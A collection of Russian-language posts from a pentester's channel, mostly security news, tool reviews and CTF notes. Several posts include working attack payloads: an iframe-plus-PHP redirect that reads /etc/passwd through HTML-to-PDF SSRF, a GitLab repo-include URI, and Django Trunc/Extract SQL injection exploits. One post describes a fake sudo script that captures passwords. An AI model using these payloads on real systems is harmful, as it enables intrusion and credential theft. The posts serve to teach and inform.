Basic concepts of cybersecurity and programming. All content is published for introductory purposes. The author urges you to love each other. Git: https://github.com/rive-n Stackoverflow: https://stackoverflow.com/users/14683725/r1v3n
Совсем недавно был пост про ChatGPT и как его можно использовать для troubleshooting в Kubernetes. Но энтузиасты пошли дальше и показали как можно запустить Кубер внутри ChatGPT. Да-да, вы не ослышались :) Стоит отметить, что этот эксперимент был вдохновлён другим экспериментом – Building A Virtual Machine inside ChatGPT. Автор показывает как можно раскатать кластер через kubeadm прямо внутри чата (не без ошибок ChatGPT конечно, но всё же). Более того, лёгким движением руки версии Nodes обновляются с 1.20.1 до 1.21, в Pods стартуют контейнеры, и даже запущенный nginx внутри контейнера отдаёт ответ. Звучит как магия, не иначе. Всем хороших выходных и удачных экспериментов =)
Не могу не написать про прекрасный эмулятор терминала, который использует под капотом ИИ, так еще и написан на Rust! Речь идет про Warp. Терминальный эмулятор, который использует GPU Based Rendering (прям как Alacritty, речь о котором шла тут), но куда проще…
Продолжаю вкидывать интересные тулзы. На очереди - eyeballer. Думаю многие слышали про инструменты, позволяющие быстро пройтись по определенному скоупу и на выходе получить скриншоты. К примеру, есть тулза под названием aquatone, которая использует headless chromium для получения скринов. Но когда скоуп огромен - иногда бывает сложно или крайне лениво сортировать результаты по определенному паттерну и хотелось бы сразу понять, за что можно зацепиться: за старые приложения, приложения, подверженные свежим уязвимостям и так далее. eyeballer - инструмент, который использует TensorFlow в совокупности с PIL. Это необходимо для того, чтоб на выходе получить отсортированные результаты того же aquatone, к примеру, согласно следующим паттернам: 1. Кастомные 404; 2. "Припаркованные" странички; 3. Формы авторизации. На гите сразу находятся "веса" для того, чтоб TensorFlow работал как надо. Но можно натренировать нейронку самому, если у Вас вдруг набралось много скринов и есть много времени. Так как это обычный .py скрипт - устанавливается все крайне просто. Использовать с весами с гита можно из коробки.
Есть прикольная тулза под названием Sandmap. Она поддерживается только для GNU/Linux (Так вышло). Но так как у меня мак, а тулза приглянулась, пришлось форкнуть: Sandmap for MacOS. Это некая обертка над nmap engine с интерфейсом, схожим с интерфейсом Msfconsole. Разработчик пишет об Sandmap следующим образом: Sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning and allows you to easily use many advanced scanning techniques. Как пользоваться можно прочитать тут. Гайд по установке в README.
Очередная забавная история. Теперь с получением удаленного исполнения кода на роутере. На старой квартире стоял роутер от Xiaomi. Дело было вечером, делать было нечего. Начал исследовать, наткнулся на интересный вид путей приложения: /cgi-bin/luci/;stok=d714f92968bb8cc6466f87c8618dfc30. Ну а дальше - как на HackTheBox. Чтоб понять что перед нами - гуглим и натыкаемся на следующий репорт. Становится понятно, что есть возможность получить удаленное исполнение кода, но ссылок на POC нет. Но если хорошо поискать, то можно найти не только POC, но еще и полноценный ресерч, в котором показано и объяснено какие именно запросы приводят к возникновению удаленного исполнения кода от имени супер-пользователя. Ссылка на статью.
Не могу не написать про прекрасный эмулятор терминала, который использует под капотом ИИ, так еще и написан на Rust! Речь идет про Warp. Терминальный эмулятор, который использует GPU Based Rendering (прям как Alacritty, речь о котором шла тут), но куда проще конфигурируется и может быть использовал сразу после установки (прям как ITerm). Я достаточно долго сидел на Alacritty и могу сказать одно - посидев день на Warp я сразу же удалил Alacritty и все то, что связывало меня с данным эмулятором. Свяазано это с тем, что Warp банально удобнее и поставляет те фишки, речь о которых и не шла в Alacritty. Из того, что может заинтересовать: 📶 Возможность редактировать мульти-лайны; При написании нескольких команд, есть возможность редактировать сразу их все вместе взятые, как в какой-нибудь IDE или в текстовом редакторе. 📶 ИИ под капотом; Есть возможность задать ИИ вопрос о линуксе, на что он вернет подсказку. Очень удобно, можно не лезть в гугл! 📶 Разделение результатов выполнения команд на плашки; Когда сидишь в терминале круглыми сутками, важным аспектом является восприятие информации. И с этим помогает Warp прямиком из коробки! Все результаты выполнения разделены на плашки и у каждой плашки - свое меню, позволяющее скопировать результат выполнения или скопировать команду. 📶 Интерактивная помощь при вводе флагов для команд; После ввода команды, можно нажать на TAB, откроется окошко, в котором можно прочитать об опциях, доступных для той или иной тулзы. 📶 Можно работать в 1 терминале командой! Честно говоря, пока не успел воспользоваться этой фишкой, но в доке и в видео видел такую возможность. Не очень полезно, но прикольно. Своего рода screen на максималках. 📶 При прокрутке результатов выполнения - промпты снизу и сверху! Когда исполняется команда - сверху остается command prompt с самой командой, ниже - результаты выполнения, а под ними - плашка для ввода команды. Эти плашки закреплены, что не позволяет потеряться в информации. В настоящий момент я использую следующую сборку: Warp + Starship + Zsh. Сборку подсмотрел тут. Не пожалел, что установил Starship вместо какого-нибудь "Oh my Zsh". Starship крайне гибок и удобен в настройке. Гайд по настройке может быть найден в документации. Если будете устанавливать, имейте ввиду: для того чтоб кастомные темы (к примеру из Oh My Zsh или Starship) работали - нужно сделать следующее: 1. Перейти в настройки; 2. Перейти в Features; 3. Включить опцию PS1 (Honor user's custom prompt). Из минусов - собирается крайне много спорной статистики. Прочитать подробнее можно тут.
2022 подходит к концу. Несмотря на то, что канал стал более серьезным местом, в которое я больше не спамлю своими мыслями или чем-то сугубо личным, я бы не хотел переставать подводить итоги года. Это уже стало своего рода традицией, что ли. 2022 год - был крайне удивительным, сложным и запоминающимся для каждого. Несмотря на то, что год привнес в жизни людей много отрицательных эмоций, лично для меня этот год стал годом открытий и достижений. За 2022 я наконец разобрался с университетом, получил диплом о высшем образовании, продолжил развиваться в сферах Application Security / Pentest. И, могу сказать, что наконец чувствую себя достаточно уверенно в том деле, которым я занимаюсь. За этот год я провел достаточное количество ресерчей, если их так можно назвать. Открыл для себя просто невероятно много всего и, что самое главное - стал полноценной частью команды BI.ZONE. Отдельную благодарность я бы хотел выразить именно коллегам из компании BI.ZONE, которые не останавливаются перед преградами и всегда идут вперед, несмотря ни на что. Этот темп и эта уверенность позволяет мне всегда учиться чему то новому. В этом году я участвовал в разработке некоторых ивентов и, что главное, сами ивенты были хорошо организованы, на них были собраны таски достаточно высокого уровня сложности, но что важнее - задачки были из реальных кейсов. Это классно, когда через призму ивентов можно поделиться с коллегами из других компаний своим опытом. В общем, подводить итоги настолько насыщенного года крайне сложно, так как произошло и вправду крайне много всего. Напоследок, хотелось бы сказать следующее: В 2023 я планирую продолжить заниматься своим делом и планирую продолжать развивать свое небольшое коммьюнити. Ну и без пожеланий никак - желаю каждому в 2023 году сталкиваться с задачами, которые позволят прокачать свои скиллы, побольше нулей и CVE. Всех с наступающим! 🥳
🎙 Это, скорее всего, последний технический пост в 2022 году. Давно ничего не постил про свежие и интересные/нашумевшие уязвимости. Самое время чтоб исправить ситуацию: GitLab - за последние пару месяцев на hackerone насыпалось много репортов. Среди них - GitLab XSS, GitLab local repo include, GitLab XSS with CSP bypass, Yet another GitLab RCE via GitLab import project. Из самого интересного, с чем я бы советовал ознакомиться - это RCE и local repo include. RCE достигается через старую функцию (ссылка на репорт есть в этом посте), которая занимается парсингом объекта с последующим исполнением команд в Redis. Парсинг происходит посредстам получения некоторых атрибутов (to_s, bytesize). Для создания объекта исследователь использовал возможности библиотеки Sawyer, которая позволяет представлять хеши в виде объектов. Local repo include - не проверялась схема и криво парсился URI. При передачи следующей полезной нагрузки: file://doesnotexists/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git, согласно правилам, описанным в коде, происходила замена последовательности символов "://" на "://oauth2:#{context.configuration.access_token}@". По итогу, на выходе получалось следующее: file://oauth2:#{context.configuration.access_token}@doesnotexists/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git и парсер брал лишь часть, начинающуюся с "/var/opt". (Ссылку на репорт оставлял еще тут). ProxyNotShell - уязвимость, на глубокое понимание которой может уйти очень много времени. Смысл заключается в том, что атакующий создает объект типа Type, после приводит его к другому типу с помощью implicit/explicit каста, к примеру к XamlReader и после - вызывает метод Parse. Внутрь метода Parse в качестве аргумента попадает XAML, указанный в теге <s>. Внутри XAML'a - полезная нагрузка, позволяющая получить удаленное исполнение кода. По итогу, чейн: Создание объекта типа Type -> каст объекта к типу XamlReader -> RCE через вызов метода Parse. Чейн потрясающий, очень советую к разбору. OracleAccessManager - RCE via Java deserialization. Тут и говорить нечего. Самый обычный десер, как в каких-нибудь лабах.
Когда нибудь слышали про ошибки во время конвертации из .html в .pdf? Нет? Тогда советую ознакомиться с видом уязвимостей под названием Server Side XSS (Dynamic PDF). Обычно, уязвимость этого рода приводит к возможности совершения запросов от имени сервера (SSRF) и в худшем случае - к чтению локальных файлов. Но, так получилось, что иногда дефолтные пейлоады для чтения локальных файлов не работают по какой-то причине. Что же, ресерчер по имени jakedmurphy1 обнаружил интересное поведение, которое позволяет в большинстве случаев обойти ограничение на чтение файлов следующим образом: 1. В .html документ, который будет конвертирован в .pdf помещается следующая полезная нагрузка: <iframe src='http[s]://<your-server>/<your_php_file>?a=file:////etc/passwd'/> 2. На сервере <your-server> размещается следующий .php код: <?php $loc = $_GET['a']; header('Location: '.$loc); ?> После того, как триггернется Server-Side XSS, мы сможем получить содержимое файла, указанное внутри аргумента a.
Конец года - это отличная возможность разобрать весь завал из вкладок, оставленных на "почитать на потом". Делюсь всем тем, что удалось нарыть: ⏺ Методы исполнения в Python окружениях (методы выхода из sandbox'ов). Очень полезно на всяких CTF и бывает помогает для решения тачек на Hack The Box. Из прям крутого, что можно записать в заметки: ⏺Есть возможность исполнения с помощью eval(), но нет возможности вызвать compile(). ⏺Python bytecode. Вот тут я упоминал, что можно использовать штуку под названием dis.dis(), но без подробностей. По ссылке подробности, такие, как: написание собственного дизассмеблера, информация о том, как хранятся опкоды и что такое опаргументы, что такое Stack/Heap, как и где хранятся объекты и что происходит внутри CPython. ⏺ Крадем пароль от супер-пользователя на u*nix like системах. Если вкратце, то весь трюк заключается в том, что атакующий может подменить исполняемый файл (type sudo) на bash script, который будет вести себя схожим образом, используя утилиту read, скрывая вводимые данные с помощью флага -s и сохраняя пароль в локальный файл или отсылая его на сервер, подконтрольный атакующему. Немного видоизмененный скрипт доступен по следующей ссылке. ⏺ Отличный гайд по написанию несложных утилит под esp32. ⏺Алгоритмы и структуры данных с примерами на языке программирования Python. ⏺ Абстрактные синтаксические деревья, разбираемся на примере Python. ⏺ Yet another SSTI в pugjs. ⏺Envoy heap vulnerability - уязвимость возникла в следствии неправильной обработки данных во время процесса HTTP/2 -> HTTP/1 forwarding.
root@rivens.life pinned a file
Если вам вдруг тоже было интересно, как именно работает под капотом технология контейнеризации, то советую ознакомиться с этим постом. Не так давно я решил упороться по некоторым штукам, поставляемых ядром линукс. К примеру - unshare, cgroups, apparmor, capabilities and etc. Почти все это используется для реализации изолированных окружений, которые, в целом, могут быть названы контейнером. Сами контейнеры, если мы говорим о таком вендоре, как Docker, работают на основе технологий, описанных выше, а также используют некоторый сисколлы, на типе: fork, prctl, clone и другие. Неплохой разбор относительно того, что происходит после запуска контейнеров, может быть найден в видео от LiveOverflow (тык). Понятное дело, что это лишь вершина айсберга. Для того, чтоб сложилась полная картина мира, мне пришлось потратить достаточно большое количество времени на своего рода ресерч. В конце-концов, я нашел выжимку по namespaces, ознакомиться можно тут. Но если этого вдруг будет мало, то вот весь перечень материалов, которые были использованы мной для полного ознакомления с тем, как работают неймспейсы, что и куда мапится и так далее: 1. Цикл статей по namespaces. 2. Более глубокое погружение в недра линукса - ознакомление с необходимыми сисколами. 3. seccomp в контексте контейнеров. 4. Контрольные группы - cgroups v1 - руководство для чайников. 5. cgroupsv1 vs cgroup v2. 6. Создаем свою контрольную группу. 7. Linux kernel Namespaces and cgroups - resource management. 8. Создаем свои изолированные среды с использованием unshare. 9. PID Namespace - изоляция дерева процессов. 10. Примеры кода на языке программирования Си, позволяющего исполнять что-либо в контексте namespaces. 11. Unshare - man (самое полезная дока за всю мою жизнь). К посту будет прекреплена моя преза по созданию изолированных окружений с использованием unshare. Там еще есть совсем немного про контрольные группы. Приятного ознакомления :)
История о недавнем случайном похеке. Я недавно съехал в съемную квартиру, тут стоял старенький роутер [ДАННЫЕ УДАЛЕНЫ]. Роутер очень любил рвать соединения, отчего появилось желание его сменить. Но, как известно, чтоб сменить роутер надо знать некоторые настройки, которые провайдер обычно высылает в письме или предоставляет в договоре. Доступа к договору, понятное дело, тоже не было.. Ну и как то ночью я решил посмотреть, что именно за технологии использует роутер [ДАННЫЕ УДАЛЕНЫ]. Так получилось, что мне удалось обойти некоторые правила безопасности продукта [ДАННЫЕ УДАЛЕНЫ] и получить всю необходимую информацию для настройки нового роутера, т.е: 1. ip 2. mask 3. gateway 4. dns_primary Возможно, эти данные можно получить и как-то иначе, но я не задавался этим вопросом. Бага позволяет получить куда больше инфы прямиком из админки. Постараюсь немного позже сделать разбор :)
🪲 27 проектов от VK ждут вас на платформе BI.ZONE Bug Bounty! Встречайте программу bug bounty от VK — компании, которая не нуждается в представлении. В скоуп входят «ВКонтакте», «Одноклассники», «Почта Mail.ru» и другие — 27 проектов с разной инфраструктурой и подходами к безопасности на любой вкус. За найденную уязвимость вы получите вознаграждение от 3 тыс. до 1,8 млн рублей в зависимости от уровня критичности угрозы. Программа уже доступна на нашей платформе. Чекайте скоуп и ловите баги!
👨💻 Уязвимые фрагменты кода Если хотите попрактиковаться в анализе защищенности кода, то обратите внимание на репозиторий от YesWeHack, которые каждую пятницу публикуют у себя в твиттер фрагменты кода с различными уязвимостями. Фрагменты кода удобны для начинающих, но подходят для всех уровней. Репозиторий также содержит скрипт для установки и тестирования этих фрагментов кода локально. Ссылка на GitHub #code #web
Я просто оставлю это здесь: https://hackerone.com/reports/1685822
Очередная порция новостей. На этот раз за октябрь 2022! 1. GBK Encoding - CRLF Injection to Reflected XSS. GBK Encoding - расширение для набора символов под идентификатором GB 2312, созданное для упрощения Китайского. Следующий набор символов представляет из себя ничто иное, как всем известную комбинацию: \r\n - 嘍嘊. Этим и воспользовался исследователь, за что получил 6000$ от Microsoft. Прочитать подробнее можно тут. 2. CSTI to Stored XSS in Microsoft Azure SFXv1 - Исследователь обнаружил несколько недоработок, в следствии которых ему удалось проэксплуатировать CSTI, получить Stored-XSS для того, чтоб в дальнейшем была возможность управлять кластером или определенными его участками (нодами) от имени администратора. 3. Text4Shell - уязвимость, затрагивающая компонент Apache Commons Text. Уязвимость возникла из-за недостаточной обработки данных, что впоследствии приводило к возможности исполнения произвольного кода на сервере, но только в определенных обстоятельствах. Для эксплуатации необходимо, чтоб на сервере был следующий сетап: 3.1 Создавался объект типа StringSubstitutor; 3.2 Вызывалась одна функция из перечня: [replace, replaceIn]; 3.3 Был установлен движок обработки скриптов, к примеру - Nashorn для JDK <= 15 и JEXL для версий свыше 15; 3.4 Пользовательские данные без обработки попадали в одну из функций из пункта 3.2. 4. Forti*Auth bypass - Байпас авторизации в таких продуктах, как: FortiOS, FortiProxy, FortiSwitchManager. Уязвимость возникла из-за неправильной обработки заголовков. Благодаря чему, атакующий мог манипулировать заголовком Forfard и заголовком User-Agent, что в совокупности дало возможность обойти авторизацию и получить неправомерный доступ к системам. 5. GitLab Remote code execution (make gitlab great again) - Уязвимость, базирующая на возможности перезаписи объектов, в следствии чего атакующий может получить удаленное исполнение кода через сериализованный RESP объект, расположенный в кэше Redis. 6. Microsoft Office 365 Message Encryption (OME) utilitises Electronic Codebook (ECB) mode of operation - уязвимость, возникшая из-за Electronic Codebook (ECB) mode of operation. #news
Недавно столкнулся с проблемой, когда есть доступ к хипдампу джавы через Spring boot actuator, но дамп весит очень много и не может быть распаршен самыми распространенными инструментами. Решил написать о том, чем можно попробовать открыть и проанализировать подобные файлы и что делать, когда ничего не получается. Прочитать можно тут.
Что интересного произошло за сентябрь 2022: 1. Было зарегистрировано 2 новые CVE, которые в совокупности дают чейн, позволяющий произвести удаленное исполнение кода на Zimbra server. CVE-2022-27925 - ZIP Slip, для эксплуатации нужна учетка админа + CVE-2022-37042 - Байпас авторизации. Можно было не указать токен авторизации в запросе и получить доступ к некоторым возможностям администратора. 2. GifShell - новый вектор атак на Microsoft Teams, состоящий из чейна недоработок. По дефолту, сотрудники компании не могут отсылать незнакомцам вложения. Но если записать трафик и попробовать повторно отправить записанный пакет, изменив уникальный идентификатор чата, то окажется - что вложения отсылать можно. Плюс ко всему, можно изменять все поля в JSON'e, в котором, как оказалось, хранятся 2 важных ключа: title - название файла, которое будет отображаться в чате, baseUrl - url, откуда будет получен файл. baseUrl также может являться диплинком, что позволяет атакующему с легкостью украсть Ntlm hash через запуск некоторых приложений. Также, есть возможность получения удаленного исполнения кода посредствам загрузки стейджера. Подробнее можно ознакомиться тут и тут. 3. Gitlab Import RCE - удаленное исполнение кода в процессе импорта проекта в гитлабе. CVE-2022-2185 - суть заключается в том, что атакующий может заставить гитлаб в процессе формирования пайплайна сходить на поддельный сервер, спарсить значения из поддельного graphql и проэксплуатировать command_injection. 4. GitLab - Path traversal to RCE - CVE-2022-0831 - после авторизации можно было обратиться на ручку, которая была уязвима к path traversal из-за неправильной фильтрации по regex. Логика была такова: взять из строки все, кроме слешей. По итогу это обходилось обычным urlencode. Как получается RCE? Эта ручка поддерживает метод PUT и загрузку файлов. Таким образом, можно в любое место загрузить свой файл. К примеру - id_rsa.pub. 5. JuicyPotato is back! Скачать POC можно тут. Ознакомиться с ресерчем тут. 6. BitBucket RCE. 7. IKE RCE - CVE-2022-34721. #news
GraphQL - это не так больно, как кажется. Вся грязь, которую можно натворить с использованием GraphQL базируется на паре приемов. В последнее время очень часто сталкивался с GraphQL на проектах и достаточно успешно находил в сервисах кучу баг. GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type; Весь пентест GraphQL строится вокруг Интроспекции. Интроспекция - это ничто иное, как описание всего, до чего мы можем дотянуться. Аналогия - information_schema. Благодаря интроспекции можно получить: 1. query - ничто иное, как GET в протоколе HTTP/HTTPS. Получаем данные, но изменять их не можем. 2. mutation - POST/PUT/DELETE etc. Все, что может изменять данные тем или иным образом. Бывает так, что запрос интроспекции отключен некоторыми правилами приложения для обеспечения большей безопасности. В этом случае можно получить интроспекцию с помощью активного сканирования. Для этого есть инструмент под названием clairvoyance. Не буду описывать процесс установки, там все достаточно тривиально. После получения Интроспекции переходим в burp и устанавливаем 2 расширения: 1. Raider - супер удобное расширение, которое позволяет в удобном виде видоизменять GraphQL запросы. Форматирование и экранирование производится благодаря этому расширению. 2. Inql - основной инструмент для построения запросов. Аналогия - wsdler. На основе интроспекции получаем набор мутаций и запросов. Что может быть найдено в процессе тестирования? Все зависит от стека и от реализации. Зачастую - Broken access control, stored cross-site scripting, sql injections. *Под звездочкой*: Недавно наткнулся на интересную реализацию GraphQL. Представьте, что у вас есть не 1 большой связный граф, как это обычно бывает, а несколько. При работе с GraphQL необходимо обращать внимание на ошибки и на заголовки запроса. К примеру, есть интересный заголовок: Execution-Context, который, как ни странно, отвечает за контекст (за граф) в котором будет выполнен запрос. Проще говоря - это своего рода ролевая модель, только вместо ролей - графы. Что делать в случае, когда наткнулись на Execution-Context? После получения валидного запроса к GraphQL отправляем все это дело в burp intruder и фаззим значение данного заголовка. Далее - фильтрация по Content-Length. Update: обязательно добавить в словарик: /voyager - рендеринг интроспекции. Можно украсть Интроспекцию и отрендерить самому тут. /graphql - ручка, на которой обычно располагается graphql.
Был разработчиком задания Baby Cached View. У многих от него очень сильно горело, так как многие пытались сбрутать хеши и зайти под полученными учетными данными. Делать нужно было совсем не так, вот райтап: https://riven.pw/posts/ctf/ctfdev/posts/new_post/ UPD: Немного изменил пост, добавил красивых картиночек (:
Так вот, о чем видос: Существует так называемая самореферентная формула, открытая Джеффом Таппером и в последствии названная Формулой Таппера, которая позволяет изобразить себя при отображении на плоскости. Формулу можно использовать для воспроизведения произвольных изображений, при этом она не будет содержать никаких ссылок на себя. Как именно это работает - можно прочитать по ссылке, закрепленной в 1ой кнопке. Ну и сам анонс - я решил переехать с ресурса telegra.ph, так как он жутко не удобный и не позволяет мне делать то, что необходимо, для нормальной редакции постов. Поэтому, встречайте: https://riven.pw!
Я тут хотел кое-что заанонсить, но очень противный человек под ником @mlsdmitry вкинул идею: "Сделай какой-нибудь челлендж, после прохождения которого ты получаешь ссылку...Но не base64..." Кто я такой, чтоб не согласиться на подобную авантюру? И, удивительно, это не WEB! В общем, задачка скорее фана ради, нежели ради пота. Для решения можно посмотреть видосик.
Принимал участие в разработке заданий на еще 1 соревнования от ребят из BSS, пост со всей информацией: https://t.me/bank_security_challenge/3 Задания обещают быть интересными, советую принять участие :)
Принимал участие в разработке задания Proxyhell. Всего задание было решено 3 командами. Райтап, опубликованный @sh1y0, можно прочитать тут. Если вкратце - было дано несколько конфигурационных файлов, так как сеть приложения состояла из нескольких прокси серверов: 1. Varnish; 2. Apache в качестве реверс прокси; 3. Nginx; 4. Nginx ldap; На 3 ноде (Nginx) была проверка на то, что задан заголовок X-Real-Ip, который, якобы, должен свидетельствовать о том, что запрос сделан не из локальной сети. Если данный заголовок задан - Nginx отдаст 403 код. Для того чтоб решить данное задание необходимо было ознакомиться с ошибкой в механизме Hop by hop. После успешной эксплуатации необходимо было найти уязвимость в Nginx ldap, о которой было крайне много шуму несколько месяцев назад. Суть заключалась в том, что сервер позволяет указать, куда именно будет делаться запрос с попыткой авторизации. При попытке авторизации Nginx передаст имя пользователя и пароль в открытом виде. Райтап классный, спасибо всем, кто принимал участие в CTFZone/OFFZone 2022!
[OUTDATED] Уже через 4 минуты начинается CTF.Zone 2022! В этом году я также принимал участие в разработке и тестировании тасков. Задачки обещают быть очень интересными :).
🎰 Доступна полная программа OFFZONE 2022 2 трека, 3 тематические зоны — 58 докладов и 3 воркшопа с отборным техническим контентом ждут вас уже на следующей неделе! Смотрите программу на сайте
Байпас авторизации в продуктах #VMware: https://twitter.com/VietPetrus/status/1554485970514608128 Пок обещают опубликовать позже, но пока есть только скрин и митигейшн
Не получается обойти пиннинг с использованием какого-то скрипта или с использованием objection? Не беда. Какой-то энтузиаст собрал воедино несколько проверенных скриптов для обхода пиннинга: https://github.com/httptoolkit/frida-android-unpinning
Байпас авторизации в продуктах #VMware: https://twitter.com/VietPetrus/status/1554485970514608128 Пок обещают опубликовать позже, но пока есть только скрин и митигейшн
Наткнулся на просторах интернета на репозиторий, содержащий в себе несколько парсеров наиболее популярных платформ, на которых публикуется информация касательно уязвимостей. Ознакомиться можно перейдя по следующим ссылкам: Репозиторий: https://github.com/karimhabush/cyberowl Сами парсеры: https://github.com/karimhabush/cyberowl/tree/main/spiders К сожалению, твиттера в списках нет. Но, возможно, в будущем появится. Перечень ресурсов, с которых происходит парсинг: 1. US-CERT 2. MA-CERT 3. CERT-FR 4. IBM X-Force Exchange 5. ZeroDayInitiative 6. OBS Vigilance 7. VulDB
Вы когда нибудь задумывались о том, как работает генератор коротких ссылок с точки зрения DevOps? Генератор коротких ссылок - сервис, который преобразует все составляющие запроса в определенный формат данных. После посещения сгенерированной ссылки происходит перенаправление на первоначальный источник. К примеру - https://www.bugcrowd.com/about/contact?a=b&long=true будет преобразовано в https://<host>/<буквенно-цифровая последовательность> Обычно, при разработке таких систем ставятся требования, такие как: 1. Объем трафика; 2. Длина сокращенного адреса; 3. Символы в сокращенном URL адресе. Допустим, имеем следующие данные: 1. 100 миллионов сгенерированных URL адресов в день; 2. Как можно короче; 3. [a-zA-Z0-9] 1. Необходимо рассчитать количество операций в секунду. В нашем случае: 100млн / 24 / 3600 = 1160. 2. Необходимо рассчитать количество возможных операций чтения. Допустим, это будет соотношение 10 к 1, т.е 11600 операций. 3. Длина среднего адреса, к примеру, будет равна 65 символам. В год получим 100млн * 365 записей, что равно 365млрд. Тогда требование к хранилищу: 365млрд * 65 байт * N лет. Расчеты это, конечно, хорошо, но поговорим теперь про хранилище, алгоритмы и коды состояний. Для подобного рода сервисов используют 2 кода состояний: 1. 301 - Перманентный редирект. Браузер кеширует ответ и последующие запросы к тому же адресу не будут напрапвляться к разрабатываемому сервису. 2. 302 - Временный редирект. Запросы к тому же ресурсу не кешируются самостоятельно и будут постоянно проходить через разрабатываемый сервис. 302 код используется, чаще всего, для сбора аналитики Выгоднее всего хранить значения в виде хеш-таблицы: {longUrl: shortUrl} . Но появляется вопрос - каков сам алгоритм сокращения URL-адресов? Тут все не так очевидно, как может показаться на первый взгляд. Раннее мы рассчитали, что максимальное количество хранимых адресов равно 365млрд. Паттерн для сокращения адресов содержит в себе 62 символа. Для того чтоб мы смогли получить более 365млрд уникальных сокращенных адресов - необходимо выбрать длину hashValue такую, что: K - количество символов; n - степень; r - ограничение в количество адресов: K^n > r, т.е 62^n > 365млрд. В нашем случае значение равно 7 (порядка 3.5 триллиона уникальных hashValue) Существует несколько подходов для дальнейшего преобразования: 1. Значение функции f(x) + разрешение конфликтов 2. Преобразования в base<n> 1. Значение функции f(x) + разрешение конфликтов Как было сказано раннее - необходимо получить строку, которая содержит в себе 7 уникальных символов из последовательности [a-zA-Z0-9]. На ум сразу приходят функции хеширования. Они обеспечивают какую-никакую, но уникальность. Проблема заключается в том, что настолько короткого хеша просто-напросто не существует (самый короткий - CRC32 - 8 символов). Поэтому, можно пойти следующими путями: 1.1 Брать первые или последние 7 символов хеша. Но это черевато конфликтами. Для разрешения конфликтов можно рекурсивно добавлять соль. 2. Преобразование в другую систему счисления. Еще одним распространенным методом является преобразование в другую систему счисления. В нашем случае это base62. Но для этого необходимо иметь уникальные идентификаторы. Для того чтоб создать уникальный идентификатор можно воспользоваться генератором snowflake. Данный генератор позволяет получить идентификатор вида: 1 бит - 0/1 41 бит - временная метка 5 бит - ID ЦОД 5 бит - ID компьютера 12 бит - Номер последовательности. Это позволит генерировать уникальные последовательности, распределять их по ЦОДам, что даст большую масштабируемость. Таким образом, генератор, к примеру, вернет значение: 2009215674938. При переводе в base62 получим zn9edcu.
Знакомы вам ситуации? 1. У Заказчика стоит доменная политика 10 символов, строчные и прописные, цифры и спецсимволы (хорошая политика), но вы с внешки удачно заспреили пароль Fduecn2022! (Август2022! на русской раскладке) и получили доступы в почту, облако и VPN? 2. У Заказчика хороший домен с тировой архитектурой, но вам удалось найти в сети старый стенд, который никто не использует test.local. Далее ZeroLogon и Password Reuse на основной домен? 3. У Заказчика много УЗ с не истекающими паролями и вообще в домене есть "стандартные" пароли. Все это большие риски безопасности, но что в этих случаях можно советовать Заказчику? В сотрудничестве с @ewig_m и @Riocool, мы рады сообщить о первом выпуске проекта с открытым исходным кодом DC Sonar, который предоставляет функциональность для анализа доменов AD на предмет рисков безопасности, связанных с учетными записями: - Выгрузка и перебор NTLM хэшей из заданных доменов AD для получения списка учетных записей со слабыми и уязвимыми паролями; - Анализ учетных записей домена AD, чтобы составить список УЗ с никогда не истекающими паролями; - Анализ учетных записей домена AD по NTLM хэшам паролей для определения учетных записей и доменов, в которых пароли повторяются. Дополнительную информацию можно найти в репозитории https://github.com/ST1LLY/dc-sonar.
Привет. Много времени нынче трачу на разработку и на ресерчи из-за всяких локально возникающих проблем. Многие из проблем возникли из-за celery и celery-beat. Пришлось решать. Заодно написал статью о том, что и как делать в случае возникновения некоторых проблем. Если вы когда-то работали с celery-beat и продолжаете заниматься этим, то статья точно для вас: https://telegra.ph/Uspeshno-boremsya-s-celery-beat-07-29 Приятного прочтения #статья
CVE-2022-26138 - Atlassian Confluence - Use of hardcoded credentials Никогда такого не было и вот опять. В расширении, позволяющем создавать опросы и менеджить фидбеки, были обнаружены захардкоженные креды. По дефолту создавался пользователь с именем disabledsystemuser и паролем disabled1system1user6708, который находился в группе пользователей: confluence-users Уязвимые версии: 2.7.34, 2.7.35, 3.0.2 Уязвимый пакет: maven-atlassian-external/com/atlassian/confluence/plugins/confluence-questions/3.0.2/confluence-questions-3.0.2.jar Официально аккаунт создан для: "Помощи администраторам, которые переносят данные из приложения в Confluence Cloud"
Десер + фишки асинка, прекрасный чейн: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
CVE-2022-34265 - Django SQLI via Trunc() && Extract() functions; Прочитать подробнее можно тут. Даже на хабре написали о том, что это за уязвимость и как эксплуатировать! Жаль, конечно, что местный сплойт не очень работает в реальных (мой тестовый стенд вполне реален!) условиях. Модель для базы данных выглядит максимально просто: class Test(models.Model): username = models.CharField(max_length=200) date = models.DateField(verbose_name='date') SQL запросы для функций весьма схожи, отличаются лишь в вызове TRUNC или EXTRACT. К примеру, для функции Trunc(kind) формируется следующий SQL запрос: SELECT "testapp_test"."id", "testapp_test"."username", "testapp_test"."date", DATE_TRUNC('year', "testapp_test"."date") AS "month" FROM "testapp_test" Следующим образом выглядит вызов уязвимой функции: Test.objects.annotate(month=Trunc('date',kind="EXPLOIT (в нашем случае - year)")) Если работают stacked query - все отлично: data = Test.objects.annotate(month=Trunc('date',kind="year', \"testapp_test\".\"date\") FROM \"testapp_test\" UNION SELECT 1,'test',null,null;insert into \"testapp_test\"(id, username, date) values (2, 'test', LOCALTIMESTAMP);-- ")) Если нет, то все куда сложнее, но проэксплуатировать все равно возможно. Следующим образом выглядит сформировавшийся SQL запрос для функции Extract(lookup_name): SELECT "testapp_test"."id", "testapp_test"."username", "testapp_test"."date", EXTRACT('EXPLOIT' FROM "testapp_test"."date") AS "start_year" FROM "testapp_test" Уязвимый код: Test.objects.annotate(start_year=Extract('date', lookup_name='EXPLOIT')) Пример эксплойта: data = Test.objects.annotate(start_year=Extract('date', lookup_name="year' from \"testapp_test\".\"date\") from \"testapp_test\"; insert into \"testapp_test\"(id, username, date) values (1337, 'test', LOCALTIMESTAMP) -- ")) Результат: id | username | date ------+----------+------------ 1 | test | 2022-07-06 3 | test | 2022-07-06 2 | test | 2022-07-06 1337 | test | 2022-07-06
